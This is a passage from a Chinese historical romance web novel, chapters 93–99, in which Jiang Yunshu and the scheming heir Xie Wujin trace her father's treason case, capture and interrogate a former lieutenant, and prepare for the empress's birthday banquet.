他若提条件,或许她还能考虑报答,要以身相许,那就是趁人之危,没有理会的必要。 这一次,谢无烬倒是没拦着,眼瞧着两人头也不回地离开,他挑起眉梢,玩味自唇畔漾开。 半个时辰后…… 月禾摸着树上留下的记号,眉头拧在了一起。 “小姐,又是这里,咱们走了半天又走回来了!” 阴暗之中,姜云舒脸上的表情也不怎么好看,沉闷地“嗯”了一声。 且不说树上的记号,就连谢无烬也还在这里,似乎是故意在等她们。 “别费劲了,这处林子名叫万踪林,进来之后,处处是谜障。” 谢无烬从依靠的树上起身,走近,唇角勾起,蛊惑开口,“你求求我,我便带你离开,怎么样?” “求求谢世子,带我们离开这万踪林!” 姜云舒连犹豫都不曾有分毫,张口就来。 这清脆的一声,倒是让谢无烬愣住了,若非黑暗遮掩,他脸上逐渐浮现的酡红便掩盖不住了。 姜云舒往常都是一副清冷的模样,竟这般能屈能伸! 他突然有点后悔,刚才应该让她加一句“哥哥”,啧,大意了! “嗯,带你离开倒是可以,不过,在离开之前,我们消息共享,如何?”谢无烬笑意盈盈,垂眸注视着她。 真是个男狐狸! 姜云舒瞪着他,若非这张脸比常人更俊美一些占了优势,她定然要一拳打上去。 “我是跟着沈清安来的。” 姜云舒还是告诉了他,“那日我看到他手腕上的腕弩,认出设计工艺与当年父亲手下副将很像,便设计沈清安与副将会面,却不想,孙副将未找到,眼见却是这般光景。” 遇上这些死士的确是她始料未及的,否则,绝不会贸然和月禾两个人就跟了进来。 说完,她抬头看向谢无烬,“所以,世子要分享给我的信息是什么?” 刚说完,又听得一声嘶吼自山涧的方向传来。 “此地不宜久留,我们出去再说。” 谢无烬抬手,一条小蛇便从他手腕上游了下来。 情况紧急,姜云舒也不再多问,几个人跟着那小蛇一路往外走,一缕光透过树林,眼前世界逐渐开明时,几个人终于走出了万踪林。 谢无烬扭头看向姜云舒,扬起的眉梢之中带着几分得意。 “如何,我又救你……” 然而,话还没说完,脖颈便被姜云舒的匕首抵住。 “谢世子还没回答,你查到了什么?” 此刻,姜云舒眼神冷厉,眼底似隐着杀意,仿若下一瞬,手中的匕首便会割破他的喉管。 “这么着急做什么?” 谢无烬抬手拨开眼前利刃,随即自怀中拿出一张纸递给姜云舒,“喏,自己看。” 姜云舒疑惑接过来,打开,是一张地图,其中一处标记“万踪林”。 “这是?”她抬头看他。 “从太师手里得来的,万踪林的地形图。”谢无烬随口应一声,随即靠近,笑意收敛,“庄太师知道这里有死士,所以,将韩昀调回了京城。” 庄太师知道? 姜云舒原本冷肃的面上,神情更加严峻。 第94章 男狐狸 若这个消息是真的,那么训练死士的怀疑人名单上便排除了庄太师,此刻,线索与之关联的便只有三皇子。 可是…… 思量之下,姜云轻微舒摇摇头。 她不认为三皇子有训练死士的魄力和胆量。 三皇子这个人,谨慎多疑,他是皇后所生,本身就在权力之争中占据有利位置,只需在政务中做出功绩,这太子之位便唾手可得。 这种情况下,他何必做这作死的事? 想不明白索性暂时不想,姜云舒又看向谢无烬,眼神闪了闪,“所以,谢世子又是用什么与庄太师换得这地形图的呢?” 谢无烬眉梢轻挑,唇角勾了勾笑,“那得用更多的情报来交换。” 姜云舒紧抿了下唇,压住怒意给了他个白眼。 早知道他心有城府,却不想,竟比想象中还难对付,真真是狐狸,狡猾又敏捷。 “如果你与山涧下那些死士无关,我能告诉的有用信息还有,他们脖颈后的图案,是封狼阁的标志,上次截杀六皇子的,也是封狼阁。” 这次,真的将知道的事情全盘托出了。 “六皇子截杀我自是领教过的,后来那些活口如何了?”谢无烬又问。 “你如何知道有活口?”姜云舒挑眉,审视地看着他。 当初皇上封锁了消息,留活口的事也压着,就连审问都是秘密进行。 难不成,皇上身边还有谢无烬的人? 姜云舒脑子里飞速运转时,谢无烬也饶有兴趣地看她,看得有趣,忍不住在她额头敲了一下。 “想什么呢,皇上身边都是你爹亲自训练出来的,你觉得我能渗透出去?有些事情,靠推论便可得出。” 他这是在炫耀他的机警聪明吗? 姜云舒皱了皱眉,略带赌气地瞪着他。 额头被敲的那一下倒是不疼,但她不太习惯与他人这般触碰,但除此不满之外,谢无烬的话却是在理的。 衡量之下,她还是说了,“事后六皇子倒是与我提过,留下的活口在审讯时暴毙而亡,应该是提前服用了延迟的毒药,如今想想,也是封狼阁的一贯做法。” 说完,她又提醒谢无烬,“谢世子还没有回答我的问题。” 针锋相对,自然是谁都不能吃亏,她已经全都说着,他也不能有所保留。 谢无烬被她句句紧逼,无奈地叹一口气,也如实交代,“是用我西晋边防图换的,一张图纸换一张图纸,公平。” “公平什么!谢无烬,你疯了吗!” 姜云舒神情陡然大变,“边境布防图是除了驻守统帅和皇上之外,不得为外人知晓的,你就不怕……” “我不过是弃子,又什么可怕的!” 谢无烬不以为意地打断她,此时,笑容依旧在脸上,只是笑意不达眼底,平添了几分薄凉。 “你……”姜云舒一下子噎住。 看着他那玩世不恭的表情,竟不知说什么。 而此刻,谢无烬难得见姜云舒脸上还能有惶恐的表情,心里似有一股说不上来的情绪躁动,他下意识想伸手捏捏她的脸,却又在抬手时忽而回过神来,收回了手。 “你在担心我?” 他挑了挑眉梢,在姜云舒否认之前,堵住她的话,“没什么好担心的,如今西晋边防驻守统帅是我父王,即便被爆出,皇上找的也是他,待皇上趁机攻打淮南,我便可自请出战,届时我便顺理成章承袭王位。” 他半眯着眼睛,笑容薄凉,口口声声说的是渊政王府灭门的大事,于他看来,仿佛与他无关。 他这次回京,到底是为了什么? 姜云舒看不透他,心里憋闷,忍不住给了他个白眼。 “只怕到时候,皇上趁机削了你渊政王府的番位!” “那我便做个将军,到时候请皇上把定国将军府的老宅赏赐给我。” 说着,谢无烬又往姜云舒跟前凑了凑,眉梢之间勾着笑,问她,“你要不要考虑再回家住?” 姜家流放之前,定国将军府的确可以称之为家,可如今已经被朝廷回收,之后成了谢无烬的府邸,她再回去的意思,便是入他的门。 不怀好意! 姜云舒瞪他一眼,骂了句“疯子”,转身带着月禾离开。 谢无烬看着她离开的方向,待背影都消失不见,脸上笑意逐渐收敛。 “主子!” 这时,两道人影自左右落在谢无烬跟前。 谢无烬收回视线,薄唇轻启,吐出一句话。 “去给封狼阁下一单生意,目标,庄太师。” 这边姜云舒和月禾自万踪林往回走,回去路上,月禾忍不住嘟哝。 “这一趟连孙副将的面儿都没见着,还险些被那些死士围堵,真真有些憋屈。” “能看到死士的训练场地,也不算毫无收获,更何况,谁说我们见不到孙副将了?” 姜云舒压低声音,视线朝铁匠铺的方向看去,“沈清安将首饰修复交给孙副将,必然要在皇后生辰之前修复完成,也就是说,最晚三日后,这修复好的首饰一定要回到沈清安手上,那你猜,又该如何回来呢?” “当然是给送回来……”月禾的声音戛然而止,“所以,孙副将把首饰送回来时,我们便可趁机将他拿住!” 姜云舒挑眉,算是默认。 接下来的两日,郭攀依旧盯着沈清安的动向。 第一日,沈清安下朝之后便直接去了尚品堂,似是与高芝兰整理药铺,看起来,不慌不忙。 第二日,沈清安带了里屋和沈长元去了太师府,回来时,表情有些纠结,一时分辨不出情绪。 第三日,沈清安上朝之后,姜云舒便和月禾出门,直奔铁匠铺。 此时铁匠铺刚开门,瞧见姜云舒和月禾一身华丽装扮,当即楞了一下。 “这位夫人可是要打点什么?” 说话的功夫,铁匠的视线在姜云舒和月禾身上打量。 看她们的形体和气质,的确是练家子,这让他也稍稍放松了警惕。 “听说你这里锻造的剑工艺精湛,便是细节上也堪完美,今日我想请你帮我打一柄匕首。” 姜云舒刚说完,月禾便将一张图纸递了过去。 铁匠瞧见那图纸,视线再次疑胡的朝姜云舒看过去。 “若是没猜错,这匕首是百辟赤冥刃?” 第95章 世子该不会来抢人的吧 “老板好眼力。” 姜云舒勾了勾唇角,略带唏嘘地叹一口气,“听说,百辟赤冥刃是世间女子心之向往的匕首,若老板能锻造出一样的,价钱随便开。” 百辟赤冥刃除了是兵器排行榜上有名的匕首,其珍奇更在于它是凌月国皇帝送给皇后的定情信物,在女子看来,这是心仪男子对自己最极致的表白。 不在乎价格,只看重意义,这也符合姜云舒此时一身奢华装扮的身份。 “可是,这匕首工艺复杂,怕是要耽误一些时日。”铁匠蹙了蹙眉。 “无妨,我的人会与你一一确认细节。” 说着,姜云舒侧了侧身坐在庭院中的凳子上,此时月禾端来茶水,她便慢条斯理地品着。 “这……”铁匠迟疑,下意识朝院外看一眼,一脸为难。 “怎么,老板做不出来?”姜云舒喝茶的动作一滞,挑眉看向那铁匠。 “能,能做,不过,要等许久,只是我这里脏乱,怕是污了夫人一身的好衣裳,夫人大可不必在此等着。” 铁匠笑得朴素,可一瞬间闪烁的眼神,还是出卖了他此刻想要隐藏的紧张。 姜云舒将他的神情收入眼底,勾起唇角轻笑一声。 “不必,左右我也得闲,想亲眼确定你们沟通之后的结果,满意之后,便可立即下定金。” 他越是让她们离开,就越说明,她要等的人会出现。 铁匠见姜云舒是不打算走了,皱了皱眉头,只能转身和月禾商议细节去了。 别看月禾平常对事情思虑不深,可一到兵器上来,这丫头的细节上比她哥还要较真。 姜云舒几盏茶入喉,眼看着两个时辰过去,月禾还在侃侃而谈,铁匠铺老板终于急了。 “好好好,就按姑娘说的来。” “这样吧,我先打出一版,夫人若是不满意,我免费重做?” “不着急,上面镶嵌的宝石改日再拿过来就行。” 铁匠铺老板话语之间已然遮不住想要尽快结束这单生意,不管她们提什么要求,口头上先应着。 眼瞧着他一个劲儿的擦汗,姜云舒知道,时机差不多了。 “如此,便全权交给老板了,月禾,我们该回了。” 姜云舒起身往外走,月禾紧忙跟了上来。 铁匠铺老板将两人送出来,一直看着她们转过街角,这才拿脖子上挂着的手巾猛地擦了一把脸,沉沉地出了一口气。 然而,姜云舒和月禾在拐角之后,紧接着腾空调转方向隐匿在了铁匠铺旁边的狗尾巴胡同。 若为掩人耳目,狗尾巴胡同便是唯一同往铁匠铺的路。 “小姐,你说孙副将会来吗?”月禾问。 “不能确定,不管来的是什么人,这般隐秘避人,定然不会让我们白来一趟。” 姜云舒说着话,眸光倏然一闪,就见一身着粗布衣裳,戴着斗笠的老汉进了狗尾巴胡同。 “来了!” 姜云舒低低一声,锐利的视线盯着不断靠近的人,待那人走近,斗笠之下,便出现了孙副将那张脸。 “真的是他!”月禾咬着牙,扒在墙头的手不断用力,关节处微微泛白。 孙副将可是将军身边最信任得力之人,他怎么能背叛将军! 此刻姜云舒的脸色也凝着寒霜,虽说她是女儿出身,却也常在军营之中历炼,其中父亲身边两位副官便是带她最多的。 人都是有感情的,猫狗养久了,都会亲近,更何况是人,可就是身边之人,背后的一刀最为致命。 两人压低呼吸,看着孙副将进了铁匠铺子,等了一盏茶的功夫,见他又从屋内出来,饶了几道弯之后,又进了狗尾巴胡同。 这一次,待他走近,姜云舒朝月禾递了个眼神,下一瞬,两道身影腾空而落,前后将那人堵在了狗尾巴胡同。 “孙副将,好久不见,别来无恙啊!”姜云舒冷冷开口,一步一步走近。 孙副将猛然间抬头,待看清楚姜云舒这张脸,一瞬间震惊慌乱都在眼中闪过。 “大,大小姐?” 他瞳孔陡然收缩,下意识转身就要跑,岂料身后月禾一把擒住他的肩膀。 “孙副将,你跑什么?”月禾说着话,手上力道往下压。 “没,我就是看看这里安全不安全。”孙副将扯着嘴角想笑,然而,这笑容比哭都难看。 “呵,你这是担心小姐被人看到呢,还是你自己见不得人?”月禾冷哼一声,“皇上下令赦免将军府女眷,我家小姐自然不用避人,倒是孙副将如今现身京城,不得不引人深思!” 姜家流放,原赤羽军便重整编队,除了奉命离开北夷边境的部队,其他重要将领全部驻守原地,其中就包括孙副将。 未有诏令,私自回京可是重罪。 “哎呀,月禾姑娘误会了,我是有重要事回京办差……” 孙副将紧张解释,然而,就在他说话转移注意力的同时,手中一把白色的朝着月禾面上扬了过来。 此时风向正朝着月禾,白灰随着风一吹扑面而来,月禾下意识屏住口鼻闭上眼,孙副将趁机猛地往外冲。 姜云舒一时也没料到他竟用阴招,下意识反应抬起手,长鞭“啪”的一声打出去,便听得孙副将一声惨叫。 那一鞭打在了他的腿上,却没能阻断他的行动,眼看着他一把推开月禾,捂着瘸腿朝远处跑去,然而,没跑几步又停了下来。 姜云舒抬头,视线穿透缭绕白蒙蒙的灰,看到两个侍卫堵在了孙副将跟前。 是谢无烬身边两个侍卫,似乎叫卫临风和卫临冲。 卫临冲上前一脚踢在孙副将受伤的腿伤,直接给人踢得惨叫一声,倒地不起。 姜云舒蹙了蹙眉,上前一步,抬手甩出长鞭勾住孙副将的脖颈,随即又转向卫临风和卫临冲。 “与你家主子传个话,多谢他多管闲事。” 说着,姜云舒拽着孙副将就要走,耳畔传来低低的笑声,抬头,就见谢无烬倚在墙头那颗树枝上。 这声多谢也不用传了。 转手将孙副将甩给月禾,姜云舒站直身子看向谢无烬。 “谢世子该不会是来抢人的吧?” 第96章 偷出来的信 谢无烬闻言自树上飞身而下,稳稳地落在姜云舒跟前。 两人距离很近,姜云舒下意识后退了两步。 “怎么会呢,我可是好心来帮你堵截。” 他居高临下地看她,微眯的眼睛里漾出痞意的笑。 “谢世子果真这般好意?”姜云舒挑眉看他,略带不以为意。 日常相处,这谢世子定然是不会做亏本之事,过后总要有要求,这“好心”并没有什么可信度。 谢无烬迎着她那一脸防备,忍不住轻笑出声。 “如今人是抓到了,想来沈家是没有合适的审讯之地,碰巧,我渊政王府正好有地牢,县主要不要考虑将人带过去?”他一脸无害地眨眨眼睛。 姜云舒眼皮不着痕迹地往上翻了翻。 果然,这人做事肯定是有目的的! 不过,目的摆上明面,总比出其不意容易防备,如他所说,审问孙副将的确需要一处隐蔽之地,而如今,她的确没有合适的地方。 “如此,便劳烦谢世子了。”姜云舒勾了勾手腕,将孙副将扔给了卫临风和卫临冲。 一炷香后,渊政王府。 姜云舒原本以为谢无烬在渊政王府有密道偷偷进入地牢,谁曾想,他竟让人将囚着孙副将的笼子上盖了一层锦缎花布,大摇大摆的让人从正门抬了进去! 元太妃听到动静从正厅出来,她不知道里面抬的是什么人,但这般大张旗鼓,抬的箱子又花里胡哨的,当即跺着脚嗔骂。 “孽障,真是孽障!便是京城之中再纨绔的世家子弟,也断然不敢日日往府上送人,你怎么敢!” “早知你在边境狂妄肆意,如今这里可是京城,你败坏我渊政王府门庭清正,就不怕祖宗怪罪?” 骂完谢无烬,又骂渊政王。 “忤逆不孝的混账,当年执迷不悟非要生下这个混账的儿子,你是要让他毁了祖宗的基业啊!” 元太妃骂得脸红脖子粗。 谢无烬一路听着不堪入耳的辱骂灌进耳朵里,原本就要径自过去了,却又在听到最后一句时,倏然停下脚步。 “听说,当年我出生时,太妃是想将我溺死在水缸里的。” 谢无烬转向元太妃,清冽的黑眸死无底的深渊,“我是渊政王府长子嫡孙,究竟是什么缘由,让太妃对我险下杀手呢?” 他的声音很轻,轻得好像一把让人感觉不到的利刃,悄无声息之间逼近咽喉。 元太妃的骂声戛然而止,她定定地看着谢无烬,嘴角颤动着,半晌没说出话来。 谢无烬勾起唇,笑得嘲讽,转身,带人继续往里走,直到众人进了四进院,元太妃再没说出一句话来。 姜云舒与月禾此刻隐匿在渊政王府院外的柳树上,两脸震惊无语。 只听说每年元太妃寿宴时,都是渊政王府的小郡王来贺寿,原本以为是因为谢无烬身居要职无召不得入京,如今看来,事情似乎比想象中复杂得多。 “不是说,渊政王妃是元太妃选的人吗,怎的和谢世子关系这样僵硬?”月禾也不解的插一句。 都说渊政王与元太妃的母子关系僵硬,但渊政王妃却是元太妃亲自选的人,她生下的嫡子长孙,为何要溺死? 姜云舒蹙了蹙眉,她也不知道,但方才从谢无烬的表情中,看到的却是实实在在的杀意。 家家有本难念的经,看来,渊政王府的水也深的很。 正想着,就见装着孙副将的笼子被抬进去,卫临风留了侍卫在外面把守。 “他们进地牢了,我们也进去吧。” 姜云舒收敛心绪,与月禾交换一个眼神,自无人注意的位置,进了谢无烬的院子。 渊政王府的地牢处于荒芜的西园,姜云舒和月禾到时,卫临风正在门口等候。 “姜姑娘请。”卫临风带着他们往里走。 暗门打开,一股阴森之地便透了上来,越往下走,阴冷之意越甚。 许是许久没有人来,地牢之中上升的潮汽在洞顶凝成水滴,顺着光洁的钟乳石渐渐滑落,最终承受不住重量,“滴答”一声落在积水的地面,溅起一朵花。 跟着往里走,没走多远,就见烛火光亮,此时一处敞开门的牢室中,孙副将已经被铁镣绑住了手脚,架在了十字架上。 见姜云舒来,孙副将猛然睁开眼睛。 “大小姐,你这是做什么呀!” 他动了动,身上的铁链随着晃动,发出刺耳的哐啷声。 姜云舒往里走,随着卫临冲搬过来的木凳,坐在孙副将面前。 “当年我爹通敌叛国一案,你在其中扮演什么角色?” 她问得直白,直白到孙副将的脸色一瞬间变了好几变。 “我……大小姐,你怀疑我出卖了将军?” “不然呢?你和沈清安,都在其中做了不少不为人知的事情吧。”姜云舒挑眉,眼神之中尽是嘲讽。 “我没有!” 孙副官一时激动,似是扯到了腿上的伤,五官一下子痛苦得拧在了一起。 姜云舒坐着不动,视线凝在他脸上,等他坦白。 而此刻,卫临风和卫临冲已经将火炉搬了出来,炉火烧得旺盛,火苗舔着烙铁,一时间烧得通红。 孙副将脸上的肌肉抽了一下,开口,“当年,出事后,姑爷的确与我联系,他让我把将军与北夷三皇子的通信交给他。” “你什么意思?”姜云舒倏地站起身来,朝孙副将逼近,“什么叫我爹和北夷三皇子的通信?” 孙副将看着姜云舒眼神闪了闪,见她并未避讳,这才开口。 “将军,的确与北夷三皇子有交易,也正是因为如此,姑爷告诉我,查不到这些信,便不能将通敌叛国的罪名定死,当时将军已经被关押,我想着或许还能有转圜之地,才将信件交给了姑爷啊!” “大小姐,我如今回京的确不妥,但我绝对没有背叛将军!” 姜云舒审视着孙副将脸上的细微表情,她看不出撒谎的痕迹,可刚才的一番话,却让她心口更为沉重。 她用力抿了抿唇,压下满腔的情绪,又问:“你给沈清安的信中,写了什么内容?” 第97章 小姑娘不要随意相信人 “我不知道。”孙副将摇摇头,随即又解释一句,“那是将军封存的信件,我没敢打开。” 姜云舒眉头拧起。 当初,爹爹和兄长对沈清安鼎力相助,又将最疼爱的女儿嫁给他,孙副将便下意识将沈清安当成了自家人也在所难免。 是自己所嫁非良人,却让他们放松了警惕。 她攥紧双手,忽而,肩膀传来温热的压力,紧接着声音自头顶传来。 “所以,你也不能确定给沈清安的信是救了将军还是害了他?” 谢无烬站在姜云舒身后,平静的表情中透着寒凉。 “什,什么?” 孙副将突然抬起头来,艰难地转向姜云舒,面色变得异常难看。 “将军与北夷三皇子有往来交易,这的确是有的,而且,姑爷他……” 他越说,眼中的恐慌便越放大,最后,已然是满面惊恐。 他以为,将军一家流放而不是灭门,便是对通敌最轻的处罚了,难不成,将军一家原本可以无罪,结果被判流放,是因为他将那信交了出去? 谢无烬没有接孙副将的话,而是接着又问:“那你相信,将军会通敌叛国吗?” “当然不会!” 孙副将回答得很快,只是回答之后,眼神又闪了闪,接下来的一句话还没出口,只听谢无烬冷笑出声。 “你其实,也并没有多相信你的主帅。” 这句话并没有嘲讽之意,只是陈述,却让孙副官脸上的表情僵住,半晌都没有缓过神来。 姜云舒的视线在孙副官脸上扫过,她沉沉地压下那口气,换了个问题。 “万踪林中,那些死士又是怎么回事?你为何会在那里?” “我来万踪林时,那些人已经在了,我是接到命令,过来制作兵器的。”孙副官回答。 “命令?谁的命令?太师?” 姜云舒的呼吸一蹙,似是在与真相触碰在即,一股说不上来的兴奋涌起。 然而,在她的注视下,孙副将却只是摇摇头。 “不是,我也不知道是谁,听说是朝中大人物。” 他只是接到命令,并未见过下达命令之人。 姜云舒眯着眼睛看了他片刻,又问:“那你与沈清安又是什么情况?他为何知道死士训练的地方?” 私自训练死士,可是抄家灭门的大罪,沈清安能知道死士训练之地,其中又是何种身份? “具体我并不清楚,便是这次首饰修复,我也是自来到京城后,第一次见到姑爷。” 他说着,似是意识到什么,问道:“姑爷可是有什么不对?” “我查到的消息,沈清安娶我是骗婚,具体情况我就不与你多说了,你只需明白,他不可信。” 姜云舒沉沉回了几句,摆摆手,让卫临风将他放下来。 孙副官被绑得双腿双手发麻,却在听到“骗婚”两个字时,忍不住跺脚。 “畜生,他怎么敢!当初将军和大公子为了给他铺路仕途,不知忙了多少个深夜,他怎么敢!” 姜云舒瞧着他满腔愤怒,自己反而平静下来了。 “如今你身份已经暴露,要么,你与我一起调查当初我爹通敌的真相,要么,便委屈你在这地牢里多待一些时日。”她冷冷开口。 既然交了底,孙副官自然是不能放回去了。 “我听大小姐差遣!”孙副官回答得毫不犹豫。 想到可能是因为他送出去的几封信导致将军一家流放,他恨不得给自己一巴掌。 “如此甚好。” 姜云舒的话音刚落,月禾便上前去拉孙副官,谁知还没将人拉起来,就见谢无烬一个快步上前往孙副将嘴里塞了个什么东西。 他的动作太快,姜云舒尚未来得及看清楚是什么,孙副将甚至都不知道自己吞了个什么,就直接咽了进去。 “这是我渊政王府药师特意研制的毒药,如今只有本世子手里有解药,你若想活命,最好别生了其他心思。”谢无烬挑了挑眉梢。 孙副将双手握着喉咙,尚未来得及说话,姜云舒却恼了。 “谢无烬,你什么意思!” 她转身,冷厉的视线看着他,面色因愠怒而略显薄凉。 他果然是想抢人! “我是怕你因为他是定国将军府旧部便心软了,毕竟,这个世道,小姑娘可不要随意相信别人。”他不以为意地朝姜云舒眨了眨眼睛。 姜云舒的拳头攥了起来,然而,满腔的怒意还没爆发,却被他抓着手腕拉出了牢房。 “放心,给他吃的是毒药没错,却不会要人命,不过是为了增加可信度,让他皮肤起疹,待消退后,便无大碍。” 谢无烬压低声音跟她解释,见她还瞪着眼,叹一口气,“你别瞪我,我不会跟你抢人。” 姜云舒视线凝在他脸上,却依旧看不透他,这让她很憋闷。 “你看起来,很相信我爹?” 这突如其来的问题,让谢无烬楞了一下,随即忍不住勾唇笑出声。 “不是相信,只是……定国将军一生直爽磊落,我若能助他脱罪,届时我用这个人情向他换一个要求,想来他应该是会满足我的。” 他眉梢扬起,笑容之中透着几分得意。 姜云舒又忍不住给了他个白眼。 这只狐狸,果然不做赔本的买卖。 谢无烬安排孙副官回了万踪林山涧,而沈清安拿着修复好的首饰送到老夫人面前,期间未发现任何异常。 时间流逝,眨眼的功夫,便是皇后的生辰。 皇后的生辰正好在国丧结束后,此时恰逢锦州水患初步得到控制,南疆边境又传来捷报,处处好消息传来,皇上特命礼部,要趁皇后生辰,宴请文武百官。 也正是如此,沈清安这般五品官员,才得以入宫参宴。 且不说老夫人,便是沈清安亦难掩向往,早早便让子固准备一应事务。 此时流芳院,高芝兰坐在床边,手里捏着绣针,半晌都没落下,她盯着门口,眼中的哀怨都快溢出来了。 官员可携带家眷一同前往,可此次作为沈夫人参加皇后生辰宴的却是姜云舒。 凭什么是姜云舒? 分明她高芝兰才是沈清安的原配发妻,分明生下了沈家的长子长孙,凭什么这沈夫人的名头要让姜云舒占着。 正坐着,就听丫鬟通报一声,大人来了。 高芝兰嘴巴一抿,眼泪瞬间就充盈了眼眶,她抬头,迎了出去。 第98章 比给祖坟上香还隆重 “相公……” 声音出口,眼泪也随之落了下来,抬眸的一瞬,睫毛上沾着晶莹的泪珠,真真是一副我见犹怜的模样。 沈清安自然知道她这番模样是因为什么,蹙了蹙眉,上前将人拉住。 “我知道你受委屈了,是我未能得皇上看重,你放心,待锦州水患结束,堤坝修筑完成,我便进宫请皇上下旨,还你正室身份。”他口中说得信誓旦旦,却在说话时,眼神闪烁。 之前堤坝修筑的设计图纸是出自姜云舒父兄之手,其中关键节点和工程,亦是姜云舒的兄长派人过来指点监督,如今单凭辅助时微薄的记忆,他根本复原不出当初的工程。 更何况,锦州与岩城地貌不同,期间多处河道需特殊处理,想想,只觉头皮一阵发麻。 “岩城堤坝修筑三年,相公难道还要我再等三年吗?”高芝兰红着眼睛看他。 “当然不能。” 沈清安将人抱住,沉下一口气,与她解释,“听姜氏父兄提及,她对水利工程颇有城建,当初北夷边境的望海湾大坝便是她策划,这次锦州堤坝修筑,我尚需她助力,是以才向她示好,届时拿到图纸完成堤坝设计,我才好凭功劳向皇上开口。” 高芝兰的眼泪卡在眼眶中,抬头看看沈清安,朦胧之间,她莫名有种恍惚的错觉。 水患治理三年回京都未能升官,如今这承诺,又有几分值得期待? 高芝兰心里没底,却又无能为力,自从上次被打了板子,她也向人打听过了,沈清安与姜云舒的姻缘与她当初嫁给沈清安时不同。 姜云舒是皇上赐婚,花轿自皇宫抬出,身份过了皇家的面,又在户部落了印,即便沈清安要休妻,也要拿到皇上的旨意。 “希望相公不要让我等太久。”高芝兰咬了咬牙。 “自然。”沈清安应声,拉着她进了内室。 翌日,清晨的阳光尚未挥洒下来,天空仍旧一片朦朦胧胧,院外说话的声音惹乱了这一片静谧。 姜云舒蹙了蹙眉,面上带着被吵醒的不悦。 “月禾。”她依旧朝门外喊了一声。 “哎,来了。” 月禾应一声,紧忙进了屋,嘴里忍不住吐槽。 “小姐被吵醒了吧?都说这会儿时候尚早,那帮人非不听,不过是参加宫宴,搞得比给祖坟上香还隆重。” 听她吐槽,姜云舒便明白了,是老夫人在折腾。 自从拿回沈清安修复好的头面,老夫人便将东西锁进了柜子里,别说沈长元摸不到,就是她自己要看,也得里三层外三层的开钥匙。 参加宫宴于她来说,是心之向往,是人生巅峰,是活了这大半辈子最为长脸的时刻,甚至比沈清安考取探花的时候还要光宗耀祖。 那可是皇宫啊! 红瓦高墙之上,都是金砖彩石铺路,这辈子能进皇宫,那可是身份的象征,仿佛进了那道宫墙,她也随着高人一等。 “算了,随她去吧。” 左右,她参加宫宴是凭自己乐安县主的身份,并非沈家女眷。 姜云舒叹口气,起身洗漱,视线透过铜镜看着月禾为她簪发,思绪恍然飘忽到了很远,远到,记忆有些模糊。 那个时候,大概是两三岁的时候,她随爹娘第一次进宫,那时候,坐在那个位置上的还是先帝。 太后喜欢孩子,便让人将他们一帮年幼的孩子带去了慈安宫。 七八个孩子中,姜云舒是唯一的女孩,又是最小的,以二皇子为首的几个哥哥不愿带她玩儿,便故意将她留在假山的山洞里,还拿狸猫吓她。 犹记得,是一个身着绛紫色锦缎的小哥哥将她救回去的。 如今眨眼之间已过去十五年,二皇子封王,因过错被赶去了封地,便是太后下葬都没能回来,那个救她的哥哥,她也记不清是谁了。 正想着,白芷在门外通报一声。 “小姐,老夫人那边又让人来催了。” “催催催,催什么催,知道的她是要去参加宫宴,不知道的还以为赶着投胎呢!”月禾没好气。 自沈清安回来之后,月禾对沈家人便没了好脸色,如今在揽芳院内,更是骂人毫不留情。 姜云舒握了握月禾的手,起身。 “左右也都差不多了,便动身吧。” 月禾依旧没好气,但此时也的确收拾好了,这才招呼白芷进来拿东西。 几个人到了前院,老妇人和沈清安已经在门口等着了,见姜云舒出来,沈清安忍不住嗔一句。 “今日宫宴,你如何能让母亲等你?” 别人家,都是做媳妇的在婆母跟前侍奉,照顾前后,到了他沈家,却是一家人等着她。 “宫门卯时开启,便是半个时辰后出门,以马车的速度,我们到皇宫时,也未过寅时,何苦要在宫门前苦等?” 她转过身,面向沈清安,晨光朦胧之中,眼中更多了几分寒凉。 “即便皇宫大门开,沈大人五品官员,自当在宫门口与皇室重臣行拜礼,何苦为难老夫人呢?” 又不是寺庙上头柱香,皇宫大门之外,尊卑贵贱自有等阶,品阶不同的官员相遇,品阶低微的官员要礼让,早早过去,不一定能尽早入宫,但一定会在高官重臣面前,卑躬屈膝。 一句话,将沈清安堵了个脸红脖子粗,他黑着脸,似是与自己的自尊较劲,半晌都没个结论。 倒是老夫人出口打圆场。 “哎呀,也并不着急,是我年岁大了,睡不实,这才早早醒来准备,如今时辰正好,便准备出门吧。” 说着,又转向姜云舒,“我最近腿脚不好,你便将那辆舒适柔软的马车披挂上吧,原来那辆马车不必出来了。” 此次沈清安只带老夫人和姜云舒入宫,原本只用沈家常用的那辆马车即可,但姜云舒的马车可是太后赏赐,是身份和体面,参加宫宴这种场合,她不得好好充充场面? 老夫人一脸期待的看着姜云舒,然而,姜云舒还没说话,就听一阵马蹄声传来。 众人朝外看,竟是裴钰快马策鞭地冲了过来。 第99章 没有资格 “吁……” 到跟前,裴钰拉紧缰绳翻身下马,一扭头,就见沈家众人在门口,一脸怔愣地看着他。 “哟,没想到我这么大排场呢。” 他咧着嘴角,朝众人扬了扬手,“没必要,真没必要亲自出来迎接我。” 众人:“……” 谁来迎接他! 姜云舒不受控制地扯了扯嘴角,深深吸了一口气,问:“你来做什么?” “啊,对,正事儿!” 裴钰立马正了神色,道:“白老头子的马车坏了,你快把太后给你的那辆拉出来救急。” 白老太傅回乡住了五年,太后薨逝才回京奔丧,府上自然没有准备那么齐全,马车坏了怕是没有备用。 “好,我这就……” 姜云舒正要应,却听老夫人眉头一皱,走上前来。 “那马车是太后赏给姜氏的,随便出借恐怕不好,不如这样,我沈家的马车送到老太傅府上……” “沈老夫人,您是觉着我宁国府没有多余的马车吗?”裴钰直接打断她。 冷不丁的一句话,老夫人没听明白,她眨了眨眼睛,恍然。 “是啊,宁国府好马车肯定不少,何不直接送过去,反而过来用我家的马车?” 宁国府的备用马车都比大部分官员家的马车好上百倍,何苦跑这么远来拉姜云舒的马车? 看来是闲的。 裴钰瞧着沈老夫人这一脸天真的模样,忍不住笑出了声。 “自然是因为我宁国府的备用马车配不上白老爷子的身份啊!” 他眼皮翻了翻,“老爷子是什么身份?那可是皇上的老师,你让他坐你沈家的马车,你们自己坐姜云舒的马车?届时两辆马车若在皇宫门口相遇,您这是怕沈清安不死啊!” 可不嘛,马车帘子掀开,一辆破马车里出来的是皇上的太傅,另一辆装潢奢华的马车里出来的却是五品官员家眷,这还不被来往众人指指点点? 今日可是皇后寿宴,传进她耳朵里,沈清安怕是要倒大霉。 这话说得直白,老夫人总算明白了,当即白了脸。 “这……” 老夫人眼神恍惚看向沈清安,沈清安拧着眉头没说话,却见月禾已经让人车夫将马车拉了出来。 “时候不早了,咱们赶紧吧。” 